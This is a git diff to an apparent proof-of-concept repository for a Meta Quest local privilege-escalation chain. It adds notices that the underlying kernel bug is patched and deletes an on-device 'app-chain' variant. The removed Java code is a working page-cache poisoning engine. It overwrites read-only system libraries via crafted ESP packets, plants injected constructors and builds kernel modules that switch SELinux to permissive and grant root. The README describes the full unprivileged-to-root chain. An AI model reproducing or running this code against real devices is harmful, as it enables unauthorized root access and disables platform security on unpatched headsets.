diff --git a/.gitignore b/.gitignore index 1bba6e7..c4287b2 100644 --- a/.gitignore +++ b/.gitignore @@ -12,9 +12,3 @@ fuguquest.zip # native agent build output agent/target/ - -# app-chain (option #2) build output -app-chain/app/build/ -app-chain/app/fuguapp.apk -app-chain/app/*.keystore -app-chain/app/*.idsig diff --git a/PORTING.md b/PORTING.md index 379538b..23020f0 100644 --- a/PORTING.md +++ b/PORTING.md @@ -1,5 +1,14 @@ # Porting DirtyFrag-LPE to a new firmware (Quest 3 or Quest Pro) +> **Patched builds:** DirtyFrag (CVE-2026-43284) is fixed at security patch level `2026-06-04` +> (see [README.md](README.md)). `port.py` will still *build a target* from a patched OTA — all the +> offsets extract fine and the kernel layout looks unchanged — but the **primitive itself is dead**, +> so the chain won't complete. Offline porting is therefore **not** sufficient to prove a build +> vulnerable: always confirm the page-cache write actually lands on-device (poison a scratch file in +> `/data/local/tmp`, read it back — if it's unchanged while `/proc/net/xfrm_stat`'s +> `XfrmInStateProtoError` still climbs, the build is patched). `targets/q3_52433670048800520.json` is +> kept as a worked example of a patched target (`"status":"PATCHED"`). + A target is one `targets/.json` + the gathered binaries in `targets//`. Everything version- and device-specific lives in that JSON; the `kernel.merged` flag selects the flow, so the **same orchestrator runs Quest 3 and Quest Pro**. See the Quest Pro section below for the merged diff --git a/README.md b/README.md index c20b1cc..4ed653f 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,21 @@ # DirtyFrag-LPE — unprivileged SELinux Enforcing→Permissive + root (Quest 3 / 3S / Pro / 2) +> ### ✅ Patched — released for research/education +> The underlying primitive, **DirtyFrag (CVE-2026-43284)** — an `rfc4106(gcm(aes))` ESP +> decrypt-before-verify page-cache write — is **fixed as of security patch level `2026-06-04`**. +> On a patched kernel the attacker's ESP packets still decrypt and fail ICV auth +> (`/proc/net/xfrm_stat: XfrmInStateProtoError` increments) but the plaintext no longer lands in the +> page cache, so no poison is possible and the chain cannot start. +> +> | | build | security patch | kernel | status | +> |---|---|---|---|---| +> | last vulnerable | `52433670036000520` | `2026-06-03` | `5.10.246-gd7102a837402` | ✅ chain works | +> | first patched | `52433670048800520` | `2026-06-04` | `5.10.246-gd018cc32fc4f` | ❌ primitive dead | +> +> This repository is published as a **now-patched** proof-of-concept for authorized security research +> and education. It only affects devices still on patch level ≤ `2026-06-03`. Do not run it against +> devices you do not own or are not authorized to test. + A single self-contained binary that runs the full zero-root chain: an unprivileged (`uid 2000` shell / any app) Dirty-Frag page-cache poison → unsigned kernel module load → `selinux_state.enforcing = 0` → optional root (cred-patch) → optional Magisk. @@ -34,20 +50,20 @@ fuguquest -t targets/.json [-d SERIAL] [--settle N] [--verify-root] - **Quest 3S / Quest Pro / Quest 2 (merged)** — one carrier does enforcing=0 + cred-patch together; Q3S uses a `.text`-splice carrier. See below. -### `--local` — run on-device (one-click-root apps) +### `--local` — run on-device Runs the whole orchestrator **on the device, in the shell domain**, executing every command with -`sh -c` instead of `adb -s shell` (no per-command adb round-trips). Intended for an app -that gets a shell context via an **adb-wireless self-connect** (bundle adb + a paired key, connect -to `127.0.0.1`), then drives everything with a single: +`sh -c` instead of `adb -s shell` (no per-command adb round-trips). Drive everything with a +single invocation from a shell context (e.g. over an adb-wireless self-connect): ``` adb shell /data/local/tmp/fuguquest --local -t /data/local/tmp/targets --adb-root ``` `-t ` (or `auto`) auto-picks the target whose `build_incremental` matches `ro.build.version.incremental`. -This replaces a C-reimplemented builder + orchestration shell script with the one Rust source of -truth. Cross-compile: `cd rust && cargo build --release --target aarch64-linux-android` (NDK linker in +This keeps one Rust source of truth instead of a C-reimplemented builder + orchestration shell script. +Cross-compile: `cd rust && cargo build --release --target aarch64-linux-android` (NDK linker in `rust/.cargo/config.toml`). Validated on Q3: full `--local --adb-root` in **~1.25s**, single `adb shell` -invocation. (The one thing an app can't avoid: a one-time wireless-debug pairing — untrusted_app is -sepolicy-blocked from `ctl.start insmod_sh` and `dumpsys`, so the chain must reach the shell domain.) +invocation. Note the chain always requires the **shell domain**: `untrusted_app` is sepolicy-blocked +from `ctl.start insmod_sh` and `dumpsys`, so an app front-end still needs to reach a shell context +(e.g. a one-time wireless-debug pairing). ### `--adb-root` — root adb shells without Magisk Cred-patches the running **adbd** to `uid 0 + all caps + kernel SELinux context` and leaves SELinux diff --git a/SETUP.md b/SETUP.md index fd2c4ec..0fb7ad9 100644 --- a/SETUP.md +++ b/SETUP.md @@ -1,5 +1,9 @@ # Setup — dependencies (Linux & Windows) +> **Note:** DirtyFrag (CVE-2026-43284) is **patched as of security patch level `2026-06-04`** — see +> the status table in [README.md](README.md). The chain only works on devices still on patch level +> ≤ `2026-06-03`. This setup is for building/running the (now-patched) PoC for authorized research. + There are two separate jobs with very different requirements: | Job | Needs | Notes | diff --git a/agent/.cargo/config.toml b/agent/.cargo/config.toml index 8f2bbd2..87eccaa 100644 --- a/agent/.cargo/config.toml +++ b/agent/.cargo/config.toml @@ -1,2 +1,4 @@ +# Point `linker` at your NDK's aarch64-linux-android-clang, or put that NDK +# .../toolchains/llvm/prebuilt//bin on your PATH and keep the bare name below. [target.aarch64-linux-android] -linker = "/home/henry/Tools/android-sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang" +linker = "aarch64-linux-android30-clang" diff --git a/app-chain/DESIGN.md b/app-chain/DESIGN.md deleted file mode 100644 index 0f287f4..0000000 --- a/app-chain/DESIGN.md +++ /dev/null @@ -1,126 +0,0 @@ -# App-chain (second option): no-adb, fully on-device DirtyFrag → root - -This is an **alternative front-end** to the DirtyFrag chain that needs **no adb / no PC / no -wireless-debug pairing**. It drives the exact same kernel primitive (page-cache-poison a carrier -`.ko` → `finit_module` loads the unsigned module → `enforcing=0` + cred-patch) but from a **plain -untrusted_app**, by borrowing capabilities untrusted_app lacks from two *confused-deputy* system -processes. - -It does **not** replace or modify the primary chain (`../rust` orchestrator, run via `adb shell -fuguquest` or `--local`). That remains option #1. This folder is option #2. - -> **STATUS: REFUTED on-device (Q3, build 52433670036000520).** The `assistant_app` deputy does NOT -> work: com.oculus.assistant is a **zygote fork**, and every big-gap SP-HAL lib it maps -> (libvmmem, libgralloc.qti, libgsl, …) is **zygote-preloaded** — the app inherits zygote's -> already-init'd COW mapping (same inode/offset, verified) and **never re-runs those libs' init_array**, -> so the page-cache poison of ctor B is inert in it. The only libs the assistant loads *fresh* post-fork -> (libllvm-glnext/qgl) have 2-byte code gaps — too small for the stub. End-to-end test: builds + -> poisons all succeeded, assistant cold-launched, but ctor B never ran (trackingservice never bounced, -> no SELinux flip). -> -> Root cause is general: **any zygote-forked app domain inherits preloaded libs**, so a DirtyFrag -> page-cache poison of those libs can only fire in processes that *fresh-dlopen* them — i.e. **native -> daemons** (like trackingservice, which is why ctor A / the primary chain works), not apps. The -> `ctl.start`-capable **native** daemons are `init` (uninjectable) and `syncboss` (dormant + -> app-unreachable); `shell` needs adb. So there is **no app-only path to fire `ctl.start insmod_sh`**, -> and the adb-wireless bridge (primary chain / `--local`) remains necessary. This folder is kept as a -> documented negative result + the validated sub-mechanisms below. -> -> What WAS validated on-device: ctor B assembles/plants correctly (358 B, libvmmem gap); the property -> triggers themselves work from a ctl.start/stop-capable domain — `ctl.stop trackingservice; -> ctl.start trackingservice` restarts it (8652→9344) and `ctl.start insmod_sh` fires. The gap is -> purely *delivering* ctor B into a running setter, which zygote preload prevents. - ---- - -## Why an app can't just run the chain itself - -The primary chain needs two triggers that a plain app is SELinux-blocked from: - -1. **restart trackingservice** so the injected `init_array` ctor runs and poisons the carrier `.ko` - + `init.insmod.cfg` (option #1 uses `dumpsys input`, which needs the `DUMP` permission), and -2. **`setprop ctl.start insmod_sh`** to make init `finit_module` the poisoned carrier (option #1 uses - the `shell` domain; untrusted_app can set **zero** property types). - -DirtyFrag itself is the escape: it is *arbitrary code execution in the domain of any process P that -maps (or execs) a file untrusted_app can open read-only, if the app can make P (re)start*. So we use -DirtyFrag to run our own code inside processes that **do** have those capabilities. - -## The two deputies (Q3) - -| need | deputy process | domain | why it works | -|------|----------------|--------|--------------| -| poison carrier `.ko` + cfg | **trackingservice** | `hal_tracking_default` | maps `libcdsprpc.so` (`same_process_hal_file`, app-readable → poisonable) **and** can read the carrier `vendor_file`. App reaches it (`hal_tracking_default:binder {call,transfer}`). | -| `setprop ctl.start insmod_sh` | **com.oculus.assistant** | `assistant_app` | a `ctl.start_prop` setter; maps `libgralloc.qti.so` (`same_process_hal_file`, app-poisonable); **cold-launchable by a zero-perm app** (exported `MetaAINUXActivity`, `permission=(none)`). | - -## Full flow (no adb) - -``` -untrusted_app: - 1. stage Dirty-Frag SA (public IpSecManager — allowed: system_server:udp_socket) - 2. build carrier flip.ko + patched cfg + the two ctor stubs (bundled native `fugu` builder) - 3. page-cache-poison: - libcdsprpc.so init_array[0] -> ctor A (poisons carrier .ko + cfg via the SA) [in trackingservice] - libgralloc.qti.so init_array[0] -> ctor B (setprop ctl.start insmod_sh) [in assistant_app] - (poison done from the app itself: it opens each lib O_RDONLY + sendfile via the SA) - 4. TRIGGER A: restart trackingservice -> ctor A runs as hal_tracking_default -> carrier+cfg poisoned [OPEN] - 5. TRIGGER B: startActivity(com.oculus.assistant/.metaai.nux.MetaAINUXActivity) - -> fresh assistant_app process links libgralloc.qti -> ctor B runs - -> setprop ctl.start insmod_sh -> init finit_modules the poisoned carrier - 6. kernel: enforcing=0 + cred-patch (cred carrier target pid = THIS app's pid) - 7. this app's process is now uid 0 + u:r:kernel:s0 (no adb, no Magisk needed as a bridge) -``` - -Ctor B is functionally the existing `libas-stub` (connect `/dev/socket/property_service`, send a -`SETPROP2` message) but wrapped as an `init_array` ctor that tail-calls the original ctor — with -`ctl`=`ctl.start`, `svc`=`insmod_sh` (instead of `ctl.restart`/`trackingservice`). assistant_app is -allowed the full path: `ctl_start_prop:property_service set`, `property_socket:sock_file write`, -`init:unix_stream_socket connectto` (all verified). - -Ctor A is the existing inject-stub (SA-replay poison of carrier+cfg). assistant_app **cannot** read -`vendor_file`, so the carrier `.ko` poison must stay in trackingservice — the assistant is only the -`setprop` deputy. - -## Evidence (Q3, build 52433670036000520, from this session) - -- `untrusted_app` can open+read `same_process_hal_file`, `system_lib_file`, `vndk_sp_file`, - `vendor_public_lib_file` (poison sources), and stage the SA (`system_server:udp_socket rw`). -- `ctl_start_prop` setters = `{shell, init, assistant_app, syncboss}`. `syncboss` is dormant + - app-unreachable; `init` is uninjectable; `shell` needs adb → **`assistant_app` is the only usable one.** -- `com.oculus.assistant` runs in `u:r:assistant_app` (verified by launching it), is **not persistent**, - and links `libgralloc.qti.so` (+ libgsl/libadreno_utils/…) at startup. `MetaAINUXActivity`, - `MuxWakeWordPromptActivity`, `AssistantBroadcastReceiver` are **exported, `permission=(none)`**. -- `assistant_app` setprop path fully allowed: `ctl_start_prop:property_service set` + - `property_socket:sock_file write` + `init:unix_stream_socket connectto`. -- `hal_tracking_default` reads `vendor_file` (carrier) and is app-reachable over binder. - -## [OPEN] engineering items - -1. **Trigger A — restart trackingservice from untrusted_app.** Option #1 used `dumpsys input` - (DUMP-gated). Candidates for an app: crash it via a malformed binder transaction to a reachable - tracking service (`handtracking_service` / `tracking_proxy_service` — the 32-bit asset-truncation - overflow is a known app-reachable crash), or a legitimate reload trigger. HALs respawn on death → - ctor A runs on respawn. **Not yet demonstrated.** `Chain.restartTracking()` holds the best-effort. -2. **Ctor B stub bytes.** The `setprop` ctor (property-socket `SETPROP2` + tail-call) is emitted by - `StubBuilder.assistantSetpropCtor()` — a byte template adapted from `../asm/libas_restart.S.tmpl`. - Validate the emitted bytes fit `libgralloc.qti`'s init-array code gap and that the ctor runs early. -3. **Shared-page-cache collateral.** `libgralloc.qti` is mapped by many graphics processes; a poisoned - `init_array` fires ctor B in whatever process next *fresh-links* it. In non-setter domains the - `setprop` just SELinux-denies (ctor tail-calls orig → benign), but it is noisy: poison → launch the - assistant immediately → revert the lib fast (like the QPro chain already does with this lib). - -## Layout - -- `app/` — the untrusted_app APK (no-Gradle build like the repo's other PoCs). - - `AndroidManifest.xml` — zero dangerous perms (only INTERNET for the loopback SA socket). - - `src/.../Chain.java` — SA stage + Java poison engine + spec build (bundled `fugu`) + triggers. - - `src/.../StubBuilder.java` — emits ctor B (assistant setprop stub). - - `build.sh` — bundles the prebuilt `fugu`, `dfpoison`, `e2e.dex`, `targets/` from the primary - chain as `assets/`/`jniLibs/` (read-only reuse — the primary chain is not modified). -- `DESIGN.md` — this file. - -## Relationship to the primary chain - -Reuses, unmodified: `../rust` `fugu` builder subcommands (carrier/cfg/inject-stub/cred-carrier), -`../dfpoison`, `../e2e.dex`, `../targets/*`. Option #1 (adb / `--local`) is unchanged and remains the -recommended, fully-validated path; this is the "install one APK, tap once, no PC" alternative. diff --git a/app-chain/app/AndroidManifest.xml b/app-chain/app/AndroidManifest.xml deleted file mode 100644 index 826219e..0000000 --- a/app-chain/app/AndroidManifest.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - - - - - - - - - - - - - - - diff --git a/app-chain/app/build.sh b/app-chain/app/build.sh deleted file mode 100755 index 246ae0e..0000000 --- a/app-chain/app/build.sh +++ /dev/null @@ -1,51 +0,0 @@ -#!/bin/bash -# Build the no-adb app-chain APK (option #2). Reuses the primary chain's prebuilt aarch64 binaries -# (fuguquest, dfpoison) + e2e.dex + targets — read-only, the primary chain is not modified. -# aapt2 link -> javac -> d8 -> (add classes.dex + libs) -> zipalign -> apksigner -set -euo pipefail -SDK=${SDK:-/home/henry/Tools/android-sdk} -BT=${BT:-$SDK/build-tools/34.0.0} -PLATFORM=${PLATFORM:-$SDK/platforms/android-33/android.jar} -JDK=${JDK:-/home/henry/Tools/jdk-21} -export JAVA_HOME="$JDK"; export PATH="$JDK/bin:$PATH" -HERE="$(cd "$(dirname "$0")" && pwd)" -ROOT="$(cd "$HERE/../.." && pwd)" # poc/dirtyfrag-lpe -OUT="$HERE/build"; APK="$HERE/fuguapp.apk"; KS="$OUT/debug.keystore" - -FUGU="$ROOT/rust/target/aarch64-linux-android/release/fuguquest" -DFP="$ROOT/agent/target/aarch64-linux-android/release/dfpoison" -[ -f "$FUGU" ] || { echo "building fuguquest (aarch64)..."; (cd "$ROOT/rust" && cargo build --release --target aarch64-linux-android >/dev/null); } -[ -f "$DFP" ] || { echo "building dfpoison (aarch64)..."; (cd "$ROOT/agent" && cargo build --release --target aarch64-linux-android >/dev/null); } - -rm -rf "$OUT"; mkdir -p "$OUT/classes" "$OUT/gen" "$OUT/stage/lib/arm64-v8a" "$OUT/stage/assets/fugu/targets" -# bundle native binaries as extractable libs (executable from nativeLibraryDir) -cp "$FUGU" "$OUT/stage/lib/arm64-v8a/libfugu.so" -cp "$DFP" "$OUT/stage/lib/arm64-v8a/libdfpoison.so" -# bundle e2e.dex + targets (data files fuguquest/dfpoison read on device) -cp "$ROOT/e2e.dex" "$OUT/stage/assets/fugu/e2e.dex" -cp -r "$ROOT/targets/." "$OUT/stage/assets/fugu/targets/" - -echo "[1/5] aapt2 link (with assets)" -"$BT/aapt2" link -I "$PLATFORM" --manifest "$HERE/AndroidManifest.xml" --java "$OUT/gen" \ - -A "$OUT/stage/assets" --min-sdk-version 29 --target-sdk-version 33 -o "$OUT/base.apk" - -echo "[2/5] javac" -find "$HERE/src" "$OUT/gen" -name '*.java' > "$OUT/sources.txt" -"$JDK/bin/javac" -source 8 -target 8 -bootclasspath "$PLATFORM" -classpath "$PLATFORM" -d "$OUT/classes" -nowarn @"$OUT/sources.txt" - -echo "[3/5] d8" -find "$OUT/classes" -name '*.class' > "$OUT/classes.txt" -"$BT/d8" --min-api 29 --lib "$PLATFORM" --output "$OUT" @"$OUT/classes.txt" - -echo "[4/5] assemble apk (classes.dex + native libs)" -cp "$OUT/base.apk" "$OUT/app.apk" -( cd "$OUT" && zip -q -u app.apk classes.dex ) -( cd "$OUT/stage" && zip -q -r "$OUT/app.apk" lib ) - -echo "[5/5] zipalign + sign" -"$BT/zipalign" -f -p 4 "$OUT/app.apk" "$OUT/aligned.apk" -[ -f "$KS" ] || "$JDK/bin/keytool" -genkeypair -noprompt -keystore "$KS" -storepass android -keypass android \ - -alias poc -keyalg RSA -keysize 2048 -validity 3650 -dname "CN=fuguapp, OU=research, O=research, C=US" -"$BT/apksigner" sign --ks "$KS" --ks-pass pass:android --key-pass pass:android \ - --v1-signing-enabled true --v2-signing-enabled true --out "$APK" "$OUT/aligned.apk" -echo "built: $APK" diff --git a/app-chain/app/src/com/research/fuguapp/Chain.java b/app-chain/app/src/com/research/fuguapp/Chain.java deleted file mode 100644 index 3c846a1..0000000 --- a/app-chain/app/src/com/research/fuguapp/Chain.java +++ /dev/null @@ -1,260 +0,0 @@ -package com.research.fuguapp; - -import android.content.Context; -import android.content.Intent; -import android.net.IpSecAlgorithm; -import android.net.IpSecManager; -import android.net.IpSecManager.SecurityParameterIndex; -import android.net.IpSecManager.UdpEncapsulationSocket; -import android.net.IpSecTransform; -import android.system.Int64Ref; -import android.system.Os; -import android.system.OsConstants; -import android.util.Log; -import java.io.File; -import java.io.FileDescriptor; -import java.io.FileWriter; -import java.io.InputStream; -import java.io.RandomAccessFile; -import java.net.InetAddress; -import java.util.Arrays; -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; - -/** - * No-adb, on-device DirtyFrag driver (untrusted_app). Option #2 (see ../DESIGN.md). Runs the same - * kernel primitive as the primary chain, using two confused-deputy system processes for the two - * capabilities untrusted_app lacks: - * - carrier/cfg page-cache poison -> ctor A injected into libcdsprpc, run inside trackingservice - * - setprop ctl.start insmod_sh -> ctor B injected into libgralloc.qti, run inside com.oculus.assistant - * - * Builds are delegated to the bundled `fuguquest` (emit-* subcommands, exec'd from nativeLibraryDir). - * SA staging + page-cache poison use the public IpSecManager API + Os.sendfile (proven from - * untrusted_app). This class holds the SA alive for the whole run. - */ -public class Chain { - static final String TAG = "FUGUAPP"; - static final int MSG_MORE = 0x8000; - static byte[] KEYMAT = new byte[20]; - static Object[] KEEP; // pin IpSec objects against GC teardown - static Cipher AES; - static File TRACE; - - static void trace(String s) { - Log.i(TAG, s); - try { FileWriter w = new FileWriter(TRACE, true); w.write(s + "\n"); w.close(); } catch (Throwable ignore) {} - } - static int ks0(byte[] iv) throws Exception { - byte[] ctr = new byte[16]; - System.arraycopy(KEYMAT, 16, ctr, 0, 4); - System.arraycopy(iv, 0, ctr, 4, 8); - ctr[15] = 2; - return AES.doFinal(ctr)[0] & 0xff; - } - - // ---- entry ---- - public static String run(Context ctx) { - try { return go(ctx); } - catch (Throwable t) { trace("EXC " + t); StringBuilder sb = new StringBuilder("ERR " + t + "\n"); - for (StackTraceElement e : t.getStackTrace()) sb.append(" ").append(e).append("\n"); return sb.toString(); } - } - - static String go(Context ctx) throws Exception { - File dir = ctx.getFilesDir(); - TRACE = new File(dir, "trace"); try { new RandomAccessFile(TRACE, "rw").setLength(0); } catch (Throwable ignore) {} - String nlib = ctx.getApplicationInfo().nativeLibraryDir; - String fugu = nlib + "/libfugu.so"; // our orchestrator, exec'd only as a builder (emit-*) - String dfp = nlib + "/libdfpoison.so"; // native poison helper (optional; Java engine also works) - trace("nativeLibraryDir=" + nlib); - - // 1) stage assets that must live in the (readable) data dir - String tdir = dir.getAbsolutePath() + "/t"; - new File(tdir).mkdirs(); - extractAssets(ctx, "fugu", tdir); // e2e.dex + targets/ (data files fuguquest reads) - String dev = getprop("ro.build.version.incremental"); - File tj = pickTarget(new File(tdir, "targets"), dev); - if (tj == null) return "no target for build " + dev; - trace("target " + tj.getName()); - Json j = Json.parse(readTextFile(tj)); - StubBuilder.FUGU = fugu; StubBuilder.WORK = new File(tdir); - - // 2) keymat + AES for the SA keystream - for (int i = 0; i < 20; i++) KEYMAT[i] = (byte) (0x41 + i); - AES = Cipher.getInstance("AES/ECB/NoPadding"); - AES.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(Arrays.copyOfRange(KEYMAT, 0, 16), "AES")); - - // 3) stage the Dirty-Frag SA (public IpSecManager) — allowed for untrusted_app - IpSecManager m = (IpSecManager) ctx.getSystemService(Context.IPSEC_SERVICE); - InetAddress local = InetAddress.getByName("127.0.0.1"); - UdpEncapsulationSocket encap = m.openUdpEncapsulationSocket(); - int port = encap.getPort(); - SecurityParameterIndex spiObj = m.allocateSecurityParameterIndex(local); - int spi = spiObj.getSpi(); - IpSecAlgorithm alg = new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, KEYMAT, 128); - IpSecTransform tr = new IpSecTransform.Builder(ctx) - .setAuthenticatedEncryption(alg).setIpv4Encapsulation(encap, port) - .buildTransportModeTransform(local, spiObj); - KEEP = new Object[]{ m, encap, spiObj, alg, tr }; - trace("SA up spi=0x" + Integer.toHexString(spi) + " port=" + port); - - // 4) BUILD carrier flip.ko + patched cfg + ctor-A inject stub (carrier+cfg poison) via bundled fuguquest. - // ctor A is the standard inject stub (SA-replay poison of carrier+cfg), run inside trackingservice. - String tsub = tdir + "/targets/" + tj.getName().replace(".json", ""); - String carrierPath = j.s("carrier", "device_path"); - String carrierLocal = tsub + "/" + new File(j.s("carrier", "local_ko")).getName(); - String injLib = j.has("inject_lib") ? j.s("inject_lib", "device_path") : j.s("libeva", "device_path"); - String injKey = j.has("inject_lib") ? "inject_lib" : "libeva"; - String flip = tdir + "/flip.ko", cfgpat = tdir + "/cfg_patched.bin"; - String injSpec = tdir + "/inject.spec"; - // (build sequence mirrors ../rust run() / the primary chain's builders; args per fuguquest emit-*) - exec(fugu, "emit-carrier", carrierLocal, flip, j.s("carrier", "anchor_reloc_off"), - j.s("kernel", "delta_selinux_from_anchor")); - exec(fugu, "emit-cfg", tsub + "/init.insmod.cfg", cfgpat, carrierPath, - j.s("cfg", "inject_off"), j.s("cfg", "inject_len")); - exec(fugu, "emit-stub", injSpec, tdir + "/inject.raw", - j.s("dirtyfrag", "sa_spi"), j.s("dirtyfrag", "keymat_base"), Integer.toString(port), - j.s(injKey, "orig_ctor_off"), j.s(injKey, "stub_gap_off"), j.s(injKey, "stub_gap_size"), - j.s(injKey, "init_array_off"), - carrierPath, carrierLocal, flip, - "/vendor/etc/init.insmod.cfg", tsub + "/init.insmod.cfg", cfgpat); - // NOTE: emit-stub CLI in fuguquest is: emit-stub - // ( )... -- adapt arg order at integration. - - // 5) BUILD the cred carrier for THIS app's pid (so the module cred-patches us -> we become root). - int mypid = Os.getpid(); - String credko = tdir + "/cred.ko"; - boolean merged = "true".equals(j.sOr("kernel", "merged", "false")); - String credSrc = merged ? carrierLocal : (tsub + "/" + new File(j.s("cred_carrier", "local_ko")).getName()); - exec(fugu, "emit-credmod", credSrc, credko, - j.s("kernel", "delta_selinux_from_anchor"), j.s("kernel", "delta_findvpid_from_anchor"), - j.s("kernel", "delta_pidtask_from_anchor"), Integer.toString(mypid), - j.s("kernel", "delta_ssuse_from_anchor"), j.sOr("kernel", "enforcing_off", "0"), - j.sOr("kernel", "cred_off", "0x778"), j.sOr("kernel", "cred_security_off", "0x78")); - - // 6) BUILD ctor B (assistant setprop stub) for libgralloc.qti's init-array gap. - String glib = "/vendor/lib64/libgralloc.qti.so"; - StubBuilder.Ctor b = StubBuilder.assistantSetpropCtor( - readFile(new File(glib)), // untrusted_app can read same_process_hal_file - "/dev/socket/property_service", "ctl.start", "insmod_sh"); - // b.spec = page-cache poison spec (offset,val records) that plants ctor B + repoints init_array[0] - - // 7) POISON the two inject libs from THIS app (open O_RDONLY + sendfile via the SA). - poison(injLib, readFile(new File(injSpec)), port, spi); // ctor A -> trackingservice - trace("poisoned inject-lib (ctor A) " + injLib); - poison(glib, b.spec, port, spi); // ctor B -> assistant - trace("poisoned libgralloc.qti (ctor B)"); - - // 8) TRIGGER A: restart trackingservice so ctor A runs (poisons carrier+cfg). [OPEN] - boolean tsRestarted = restartTracking(ctx); - trace("trackingservice restart attempted: " + tsRestarted); - Thread.sleep(600); // settle for ctor A - - // 9) push the cred carrier where init's insmod_sh can load it, and make the cfg point to it. - // (the primary chain's cfg already got the flip carrier line via ctor A; for the app path the - // cred carrier is loaded on the SAME insmod_sh pass — see DESIGN "Full flow".) - copy(credko, "/data/local/tmp/cred.ko"); // world-readable so init can load it - - // 10) TRIGGER B: cold-launch the assistant -> ctor B runs as assistant_app -> setprop ctl.start insmod_sh - Intent i = new Intent(); - i.setClassName("com.oculus.assistant", "com.oculus.assistant.metaai.nux.MetaAINUXActivity"); - i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); - try { ctx.startActivity(i); trace("launched assistant (ctor B trigger)"); } - catch (Throwable t) { trace("assistant launch failed: " + t); } - - // 11) verify - String res = "pending"; - for (int k = 0; k < 40; k++) { - Thread.sleep(250); - String ge = getprop("getenforce_"); // placeholder; use exec("getenforce") below - int uid = Os.getuid(); - String enforce = runCmd("getenforce"); - if (uid == 0) { res = "ROOT uid=0 enforce=" + enforce; break; } - if ("Permissive".equals(enforce)) res = "PERMISSIVE (module loaded) uid=" + uid; - } - // revert the noisy libgralloc.qti poison ASAP (collateral: it fires ctor B in any fresh graphics proc) - try { poison(glib, b.revert, port, spi); trace("reverted libgralloc.qti"); } catch (Throwable ignore) {} - try { tr.close(); encap.close(); spiObj.close(); } catch (Throwable ignore) {} - trace("RESULT " + res); - return res; - } - - // ---- page-cache poison engine (proven from untrusted_app; from q1df/Writer) ---- - static void poison(String path, byte[] spec, int port, int spi) throws Exception { - FileDescriptor sk = Os.socket(OsConstants.AF_INET, OsConstants.SOCK_DGRAM, 0); - try { Os.setsockoptInt(sk, OsConstants.SOL_SOCKET, OsConstants.SO_SNDBUF, 4 << 20); } catch (Throwable t) {} - Os.connect(sk, InetAddress.getByName("127.0.0.1"), port); - FileDescriptor f = Os.open(path, OsConstants.O_RDONLY, 0); - RandomAccessFile r = new RandomAccessFile(path, "r"); - java.util.Random rnd = new java.util.Random(0x51C1L); - int nrec = spec.length / 5, wrote = 0; - for (int k = 0; k < nrec; k++) { - long o = (spec[k*5] & 0xffL) | ((spec[k*5+1] & 0xffL)<<8) | ((spec[k*5+2] & 0xffL)<<16) | ((spec[k*5+3] & 0xffL)<<24); - int want = spec[k*5+4] & 0xff; - r.seek(o); int cur = r.read(); - if (cur == want) continue; - int need = (cur ^ want) & 0xff; - byte[] iv = new byte[8]; int n = 0; - while (true) { rnd.nextBytes(iv); n++; if (ks0(iv) == need) break; if (n > 2000000) throw new RuntimeException("no IV @"+o); } - byte[] hdr = new byte[16]; - hdr[0]=(byte)(spi>>>24); hdr[1]=(byte)(spi>>>16); hdr[2]=(byte)(spi>>>8); hdr[3]=(byte)spi; - hdr[7]=1; System.arraycopy(iv,0,hdr,8,8); - int tries = 0; - while (true) { - try { Os.sendto(sk, hdr, 0, 16, MSG_MORE, null, 0); Os.sendfile(sk, f, new Int64Ref(o), 17); - Os.sendto(sk, new byte[0], 0, 0, 0, null, 0); break; } - catch (android.system.ErrnoException e) { try { Os.sendto(sk, new byte[0], 0, 0, 0, null, 0); } catch (Throwable ig) {} - if (++tries > 500) throw e; Thread.sleep(2); } - } - wrote++; if ((wrote & 63) == 0) Thread.sleep(1); - } - r.close(); Os.close(f); Os.close(sk); - } - - // ---- [OPEN] restart trackingservice from untrusted_app (no dumpsys) ---- - // Best-effort: bounce it so its poisoned libcdsprpc init_array (ctor A) runs on respawn. Candidates: - // a crashing binder transaction to a reachable tracking service (handtracking_service / - // tracking_proxy_service), or a legitimate reload. Not yet demonstrated — see DESIGN [OPEN] #1. - static boolean restartTracking(Context ctx) { - // Placeholder hook. Fill with the crash primitive once identified. - return false; - } - - // ---- helpers ---- - static String getprop(String p) { return runCmd("getprop", p); } - static String runCmd(String... a) { - try { Process pr = new ProcessBuilder(a).redirectErrorStream(true).start(); - byte[] b = readAll(pr.getInputStream()); pr.waitFor(); return new String(b).trim(); } - catch (Throwable t) { return ""; } - } - static void exec(String... a) throws Exception { - Process pr = new ProcessBuilder(a).redirectErrorStream(true).start(); - byte[] b = readAll(pr.getInputStream()); int rc = pr.waitFor(); - if (rc != 0) throw new RuntimeException("exec rc=" + rc + " " + a[0] + " " + a[1] + " :: " + new String(b)); - } - static void copy(String src, String dst) throws Exception { - byte[] b = readFile(new File(src)); RandomAccessFile r = new RandomAccessFile(dst, "rw"); r.setLength(0); r.write(b); r.close(); - try { Os.chmod(dst, 0644); } catch (Throwable ignore) {} - } - static byte[] readFile(File f) throws Exception { return java.nio.file.Files.readAllBytes(f.toPath()); } - static byte[] readAll(InputStream in) throws Exception { - java.io.ByteArrayOutputStream o = new java.io.ByteArrayOutputStream(); byte[] buf = new byte[8192]; int n; - while ((n = in.read(buf)) > 0) o.write(buf, 0, n); return o.toByteArray(); - } - static void extractAssets(Context ctx, String assetDir, String outDir) throws Exception { - String[] names = ctx.getAssets().list(assetDir); - for (String n : names) { - String path = assetDir + "/" + n; - String[] sub = ctx.getAssets().list(path); - if (sub != null && sub.length > 0) { new File(outDir + "/" + n).mkdirs(); extractAssets(ctx, path, outDir + "/" + n); } - else { InputStream in = ctx.getAssets().open(path); byte[] b = readAll(in); in.close(); - RandomAccessFile r = new RandomAccessFile(outDir + "/" + n, "rw"); r.setLength(0); r.write(b); r.close(); } - } - } - static File pickTarget(File dir, String build) throws Exception { - File[] fs = dir.listFiles(); if (fs == null) return null; - for (File f : fs) { if (!f.getName().endsWith(".json")) continue; - if (readTextFile(f).contains("\"build_incremental\": \"" + build + "\"")) return f; } - return null; - } - static String readTextFile(File f) throws Exception { return new String(readFile(f)); } -} diff --git a/app-chain/app/src/com/research/fuguapp/Inst.java b/app-chain/app/src/com/research/fuguapp/Inst.java deleted file mode 100644 index d791dc1..0000000 --- 